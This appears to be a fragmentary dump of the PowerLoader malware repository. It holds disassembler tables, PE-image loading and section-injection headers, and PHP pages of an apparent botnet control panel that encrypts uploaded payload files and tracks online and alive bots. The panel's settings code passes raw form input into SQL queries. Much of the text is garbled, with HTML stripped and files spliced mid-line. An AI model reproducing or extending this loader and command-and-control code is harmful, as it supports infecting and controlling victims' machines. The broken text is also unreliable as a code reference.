0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01, 67 | 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba, 68 | 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00, 69 | 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00, 70 | 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07, 71 | 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf, 72 | 0xe7,0x08,0x00,0xf0,0x02,0x00 73 | }; 74 | -------------------------------------------------------------------------------- /src/share/hde64/hde64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | * hde64.h: C/C++ header file 7 | * 8 | */ 9 | 10 | #ifndef _HDE64_H_ 11 | #define _HDE64_H_ 12 | 13 | /* stdint.h - C99 standard header 14 | * http://en.wikipedia.org/wiki/stdint.h 15 | * 16 | * if your compiler doesn't contain "stdint.h" header (for 17 | * example, Microsoft Visual C++), you can download file: 18 | * http://www.azillionmonkeys.com/qed/pstdint.h 19 | * and change next line to: 20 | * #include "pstdint.h" 21 | */ 22 | 23 | #define F_MODRM 0x00000001 24 | #define F_SIB 0x00000002 25 | #define F_IMM8 0x00000004 26 | #define F_IMM16 0x00000008 27 | #define F_IMM32 0x00000010 28 | #define F_IMM64 0x00000020 29 | #define F_DISP8 0x00000040 30 | #define F_DISP16 0x00000080 31 | #define F_DISP32 0x00000100 32 | #define F_RELATIVE 0x00000200 33 | #define F_ERROR 0x00001000 34 | #define F_ERROR_OPCODE 0x00002000 35 | #define F_ERROR_LENGTH 0x00004000 36 | #define F_ERROR_LOCK 0x00008000 37 | #define F_ERROR_OPERAND 0x00010000 38 | #define F_PREFIX_REPNZ 0x01000000 39 | #define F_PREFIX_REPX 0x02000000 40 | #define F_PREFIX_REP 0x03000000 41 | #define F_PREFIX_66 0x04000000 42 | #define F_PREFIX_67 0x08000000 43 | #define F_PREFIX_LOCK 0x10000000 44 | #define F_PREFIX_SEG 0x20000000 45 | #define F_PREFIX_REX 0x40000000 46 | #define F_PREFIX_ANY 0x7f000000 47 | 48 | #define PREFIX_SEGMENT_CS 0x2e 49 | #define PREFIX_SEGMENT_SS 0x36 50 | #define PREFIX_SEGMENT_DS 0x3e 51 | #define PREFIX_SEGMENT_ES 0x26 52 | #define PREFIX_SEGMENT_FS 0x64 53 | #define PREFIX_SEGMENT_GS 0x65 54 | #define PREFIX_LOCK 0xf0 55 | #define PREFIX_REPNZ 0xf2 56 | #define PREFIX_REPX 0xf3 57 | #define PREFIX_OPERAND_SIZE 0x66 58 | #define PREFIX_ADDRESS_SIZE 0x67 59 | 60 | #pragma pack(push,1) 61 | 62 | typedef struct { 63 | uint8_t len; 64 | uint8_t p_rep; 65 | uint8_t p_lock; 66 | uint8_t p_seg; 67 | uint8_t p_66; 68 | uint8_t p_67; 69 | uint8_t rex; 70 | uint8_t rex_w; 71 | uint8_t rex_r; 72 | uint8_t rex_x; 73 | uint8_t rex_b; 74 | uint8_t opcode; 75 | uint8_t opcode2; 76 | uint8_t modrm; 77 | uint8_t modrm_mod; 78 | uint8_t modrm_reg; 79 | uint8_t modrm_rm; 80 | uint8_t sib; 81 | uint8_t sib_scale; 82 | uint8_t sib_index; 83 | uint8_t sib_base; 84 | union { 85 | uint8_t imm8; 86 | uint16_t imm16; 87 | uint32_t imm32; 88 | uint64_t imm64; 89 | } imm; 90 | union { 91 | uint8_t disp8; 92 | uint16_t disp16; 93 | uint32_t disp32; 94 | } disp; 95 | uint32_t flags; 96 | } hde64s; 97 | 98 | #pragma pack(pop) 99 | 100 | #ifdef __cplusplus 101 | extern "C" { 102 | #endif 103 | 104 | /* __cdecl */ 105 | unsigned int hde64_disasm(const void *code, hde64s *hs); 106 | 107 | #ifdef __cplusplus 108 | } 109 | #endif 110 | 111 | #endif /* _HDE64_H_ */ 112 | -------------------------------------------------------------------------------- /src/share/hde64/table64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #define C_NONE 0x00 9 | #define C_MODRM 0x01 10 | #define C_IMM8 0x02 11 | #define C_IMM16 0x04 12 | #define C_IMM_P66 0x10 13 | #define C_REL8 0x20 14 | #define C_REL32 0x40 15 | #define C_GROUP 0x80 16 | #define C_ERROR 0xff 17 | 18 | #define PRE_ANY 0x00 19 | #define PRE_NONE 0x01 20 | #define PRE_F2 0x02 21 | #define PRE_F3 0x04 22 | #define PRE_66 0x08 23 | #define PRE_67 0x10 24 | #define PRE_LOCK 0x20 25 | #define PRE_SEG 0x40 26 | #define PRE_ALL 0xff 27 | 28 | #define DELTA_OPCODES 0x4a 29 | #define DELTA_FPU_REG 0xfd 30 | #define DELTA_FPU_MODRM 0x104 31 | #define DELTA_PREFIXES 0x13c 32 | #define DELTA_OP_LOCK_OK 0x1ae 33 | #define DELTA_OP2_LOCK_OK 0x1c6 34 | #define DELTA_OP_ONLY_MEM 0x1d8 35 | #define DELTA_OP2_ONLY_MEM 0x1e7 36 | 37 | unsigned char hde64_table[] = { 38 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, 39 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, 40 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, 41 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, 42 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, 43 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, 44 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, 45 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, 46 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, 47 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, 48 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, 49 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, 50 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, 51 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, 52 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, 53 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, 54 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, 55 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, 56 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, 57 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, 58 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, 59 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, 60 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, 61 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, 62 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, 63 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, 64 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, 65 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, 66 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, 67 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, 68 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, 69 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, 70 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, 71 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, 72 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, 73 | 0x00,0xf0,0x02,0x00 74 | }; 75 | -------------------------------------------------------------------------------- /src/share/ntdll32.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/share/ntdll32.lib -------------------------------------------------------------------------------- /src/share/ntdll64.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/share/ntdll64.lib -------------------------------------------------------------------------------- /src/share/peldr.h: -------------------------------------------------------------------------------- 1 | #ifndef _PELDR_H_ 2 | #define _PELDR_H_ 3 | 4 | namespace PeLdr 5 | { 6 | DWORD64 PeGetImageBase(PVOID ImageBase); 7 | PIMAGE_NT_HEADERS PeImageNtHeader(PVOID ImageBase); 8 | PVOID PeImageDirectoryEntryToData(PVOID ImageBase, BOOLEAN ImageLoaded, ULONG Directory, PULONG Size, BOOLEAN RVA = FALSE); 9 | BOOLEAN PeProcessRelocs(PVOID ImageBase, ULONGLONG Diff); 10 | PVOID PeGetProcAddress(PVOID ModuleBase, PCHAR lpProcName, BOOLEAN RVA = FALSE); 11 | BOOLEAN PeProcessImport(PVOID pMZ, BOOLEAN Ntdll64 = FALSE); 12 | 13 | #ifndef _WIN64 14 | PIMAGE_BASE_RELOCATION PeProcessRelocationBlock(ULONG_PTR uVA, ULONG uSizeOfBlock, PUSHORT puNextOffset, ULONGLONG lDelta); 15 | #else 16 | PIMAGE_BASE_RELOCATION PeProcessRelocationBlock(ULONG_PTR VA, ULONG SizeOfBlock, PUSHORT NextOffset, LONGLONG Diff) ; 17 | #endif 18 | 19 | PVOID PeGetNtdllImageBase(); 20 | BOOLEAN InsertSection(PCHAR SectionName, PVOID Data, DWORD DataSize, PVOID Image, DWORD ImageSize, PVOID *ResultImage, DWORD *ResultImageSize, BOOLEAN VA); 21 | DWORD_PTR FreeSpaceInHeader(PVOID ImageBase, PIMAGE_NT_HEADERS NtHeaders); 22 | PIMAGE_SECTION_HEADER GetVirtualyLastSectionHeader(PIMAGE_NT_HEADERS NtHeaders); 23 | PIMAGE_SECTION_HEADER GetPhysicalyLastSectionHeader(PIMAGE_NT_HEADERS NtHeaders); 24 | PVOID LoadPEImage(PVOID ImageBaseRaw); 25 | PIMAGE_SECTION_HEADER PeSearchSection(PVOID ImageBase, PCHAR SectionName); 26 | }; 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/share/seccfg.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/share/seccfg.cpp -------------------------------------------------------------------------------- /src/share/seccfg.h: -------------------------------------------------------------------------------- 1 | #ifndef _SECCFG_H_ 2 | #define _SECCFG_H_ 3 | 4 | namespace SecCfg 5 | { 6 | #define SECCFG_SECTION_NAME ".cfg" 7 | 8 | typedef struct _SECTION_CONFIG_RAW 9 | { 10 | DWORD ConfigSize; 11 | DWORD ImageSize; 12 | } 13 | SECTION_CONFIG_RAW, *PSECTION_CONFIG_RAW; 14 | 15 | typedef struct _SECTION_CONFIG 16 | { 17 | SECTION_CONFIG_RAW Raw; 18 | PCHAR Name; 19 | PVOID Config; 20 | PVOID Image; 21 | } 22 | SECTION_CONFIG, *PSECTION_CONFIG; 23 | 24 | BOOLEAN InsertSectionConfig(PSECTION_CONFIG SectionConfig, PVOID Image, DWORD ImageSize, PVOID *ResultImage, DWORD *ResultImageSize, BOOLEAN VA); 25 | BOOLEAN GetSectionConfig(PSECTION_CONFIG SectionConfig, PVOID Image); 26 | BOOLEAN GetImageFromImage(PVOID ImageBase, PVOID *ResultImageBase, DWORD *ResultImageSize, BOOLEAN Load64); 27 | BOOLEAN ConvertImageToImage(PVOID ImageBase, SecCfg::PSECTION_CONFIG SectionConfig, PVOID *ResultImage, DWORD *ResultImageSize, BOOLEAN Load64); 28 | PVOID LoadImageSections(PVOID ImageBaseRaw, DWORD *ImageSize); 29 | }; 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /src/tools/bin2hex.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nyx0/PowerLoader/2ab49e963e1110aaf0986b174a865c58c56b28f5/src/tools/bin2hex.exe --------------------------------------------------------------------------------
"; 20 | 21 | echo " 22 | "; 23 | 24 | $count = 0; 25 | 26 | foreach ($files as $file) 27 | { 28 | $color = $count % 2 ? "#d3e7f0" : "#ebf4f8"; 29 | 30 | echo " 31 | 32 | 33 | 34 | 35 | 36 | 37 | "; 38 | 39 | $count++; 40 | } 41 | } 42 | else 43 | { 44 | echo " 45 |
NumNameVersionAddedPathAction
{$file['fId']}{$file['fName']}{$file['fVer']}{$file['fDate']}{$file['fFilePath']}Delete
46 | 47 | 48 | 51 | 52 | 53 | 54 | 57 | 58 | 59 | 60 | 63 | 64 | 65 | 66 | 67 | 68 |
Name 49 | 50 |
Version 55 | 56 |
File 61 | 62 |
 
69 | "; 70 | 71 | if (isset($_POST['fAdd'])) 72 | { 73 | $newname = './files/'.randstr(30); 74 | $ctx = file_get_contents($_FILES['fFile']['tmp_name']); 75 | 76 | if ($fh = fopen($newname, "w+")) 77 | { 78 | if (fwrite($fh, RC4($ctx, "1"))) 79 | { 80 | $file = array 81 | ( 82 | 'fName' => $_POST['fName'], 83 | 'fVer' => $_POST['fVer'], 84 | 'fInject' => "", 85 | 'fFilePath' => $newname, 86 | 'fDate' => date('Y-m-d H:i:s', strtotime('now')), 87 | ); 88 | 89 | if ($db->insert('files', $file)) metaRefresh('?act=files'); 90 | } 91 | else echo "Error while write file"; 92 | 93 | fclose($fh); 94 | } 95 | else echo "Error while open file"; 96 | } 97 | } 98 | 99 | ?> 100 | -------------------------------------------------------------------------------- /panel/act/settings.php: -------------------------------------------------------------------------------- 1 | query("REPLACE INTO options (name, data) VALUES ('{$k}', '{$_POST['opt'][$k]}')"); 8 | } 9 | } 10 | 11 | $opt = array(); 12 | 13 | $r = $db -> query('SELECT * FROM options')-> fetchAllAssoc();; 14 | foreach ($r as $f) 15 | { 16 | $opt[$f['name']] = $f['data']; 17 | } 18 | 19 | 20 | echo " 21 |
22 | Update 23 |
"; 24 | 25 | echo " 26 |
27 | 28 | 29 | 30 | 33 | 34 | 35 | 36 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 |
Online bots (srvdelay minutes) 31 | 32 |
Alive bots (days) 37 | 38 |
 
47 |
"; 48 | 49 | 50 | ?> 51 | -------------------------------------------------------------------------------- /panel/act/tasksajax.php: -------------------------------------------------------------------------------- 1 | Файл
9 | Link/UrlSection / Variable / Value" + 62 | "    Command